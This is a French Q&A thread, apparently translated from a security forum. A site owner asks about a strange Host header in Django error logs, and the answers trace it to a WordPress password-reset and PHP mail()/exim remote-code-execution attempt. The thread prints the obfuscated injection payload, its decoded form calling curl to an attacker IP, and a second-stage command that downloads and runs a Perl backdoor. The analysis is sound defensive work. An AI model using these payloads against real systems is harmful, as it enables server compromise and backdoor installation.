Cet en-tête HTTP_Host non valide fait-il partie d'un exploit?
Nous avons reçu un grand nombre de messages d'erreur de notre application Django, comme ceci:
Invalid HTTP_Host header: ‘target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}69.64.61.196${substr{0}{1}{$spool_directory}}rce.txt}} null)’. The domain name provided is not valid according to RFC 1034/1035.
...
Request information:
GET: action = u'lostpassword'
POST: user_login = u'admin' wp-submit = u'Get New Password'
FILES: No FILES data
COOKIES: No cookie data
...
Je n'ai jamais rien vu de tel auparavant, et j'ai du mal à comprendre ce que cela signifie. Cela pourrait-il faire partie d'un exploit, ou suis-je simplement paranoïaque?
Pour développer la réponse fournie par @Swashbuckler, CVE-2017-8295 se rapporte spécifiquement à WordPress se réinitialise avec l'ensemble d'en-tête HTTP Host).
Lorsque WordPress envoie des e-mails de réinitialisation de mot de passe, ils définissent le From/Return-Path Sur la valeur de $_SERVER['SERVER_NAME'] (En PHP). Cette valeur est défini par certains serveurs Web (par exemple Apache) sur la base de l'en-tête HTTP Host.
Cela signifie que les attaquants peuvent faire WordPress envoyer des e-mails qui ont From/Return-Path Défini sur une adresse e-mail de leur choix. Si l'e-mail est renvoyé ou répondu à, il arrivera à cette adresse e-mail malveillante et - si l'e-mail d'origine était joint - l'attaquant aura alors accès au lien de réinitialisation du mot de passe.
En fait, abuser de l'exploit nécessite deux facteurs: le serveur Web doit lire le nom d'hôte dans l'en-tête Host et l'e-mail doit être renvoyé ou répondu. Le premier peut être corrigé par l'administrateur du serveur (si vous utilisez Apache, en définissant UseCanonicalName On ), le second oblige l'attaquant à bloquer en quelque sorte le serveur de messagerie de la victime (par exemple en le faisant par DoS) ) ou à la victime de répondre à l'e-mail.
Comme l'a souligné @TerrorBite, les attaquants ne ciblent pas réellement les liens de réinitialisation de mot de passe, mais utilisent uniquement le bogue pour exploiter un bogue dans la fonction PHP mail(). Voir sa réponse ci-dessous.
Me semble être une tentative d'exploitation CVE-2017-8295 .
Voici le résumé du CVE:
WordPress à 4.7.4 s'appuie sur l'en-tête HTTP de l'hôte pour un message électronique réinitialisé par mot de passe, ce qui facilite la réinitialisation de mots de passe arbitraires par des attaquants distants en créant une demande wp-login.php? Action = lostpassword spécialement conçue, puis en organisant ce message doit être renvoyé ou renvoyé, ce qui entraîne la transmission de la clé de réinitialisation à une boîte aux lettres sur un serveur SMTP contrôlé par l'attaquant. Ceci est lié à l'utilisation problématique de la variable SERVER_NAME dans wp-includes/pluggable.php en conjonction avec la fonction de messagerie PHP. L'exploitation n'est pas réalisable dans tous les cas car elle nécessite au moins une des ce qui suit: (1) l'attaquant peut empêcher la victime de recevoir des messages électroniques pendant une longue période (comme 5 jours), (2) le système de messagerie électronique de la victime envoie une réponse automatique contenant le message d'origine, ou ( 3) la victime compose manuellement une réponse contenant le message d'origine.
Dennis dit qu'ils voient beaucoup de demandes, donc l'attaquant essaie de deviner les noms de compte ou a une liste de noms de compte (peut-être récoltés d'une certaine manière) et essaie de réinitialiser les mots de passe sur les comptes afin qu'il puisse prendre le contrôle d'eux. L'attaquant recherche la clé de réinitialisation comme décrit dans le CVE.
Cela semble en fait cibler l'exploit d'exécution de code à distance CVE-2016-100 dans la fonction php mail(), en utilisant CVE-2017-8295 uniquement comme un moyen d'injecter du code d'exploitation dans la fonction mail().
Le contenu de l'en-tête Host HTTP est une chaîne contenant des valeurs de substitution destinées à être exécutées par le exim4 agent de transfert de courrier. Les fonctions de sous-chaîne semblent être destinées à renvoyer un caractère barre oblique et un caractère espace (ceci est utilisé pour éviter que Apache ne filtre les caractères barre oblique et pour s'assurer que les espaces ne décomposent pas l'argument en exim4's -be drapeau). Si nous les substituons, nous nous retrouvons avec une chaîne qui ressemble à ceci (adresse IP partiellement expurgée):
target(any -froot@localhost -be ${run{/usr/bin/curl -o/tmp/rce 69.XX.XX.196/rce.txt}} null)
Cela entraînerait l'exim4 ${run} fonction exécutant curl pour télécharger le fichier rce.txt.
Notez que cela télécharge uniquement le fichier. Vous pouvez vous attendre à voir une deuxième requête HTTP avec un en-tête Host similaire mais différent, qui invoquera bash pour exécuter le fichier téléchargé précédemment.
Le fichier rce.txt à cette adresse, au moment de la rédaction, contient une autre chaîne de ligne de commande comme suit (URL et adresse IP partiellement expurgées):
curl -o /tmp/wp.gif hXXp://46.XX.XX.42/website/strust.gif && Perl /tmp/wp.gif
Le fichier strust.gif est détecté en tant que Backdoor: Perl/Shellbot.S, et un n résumé ISC SANS de cette menace est disponible .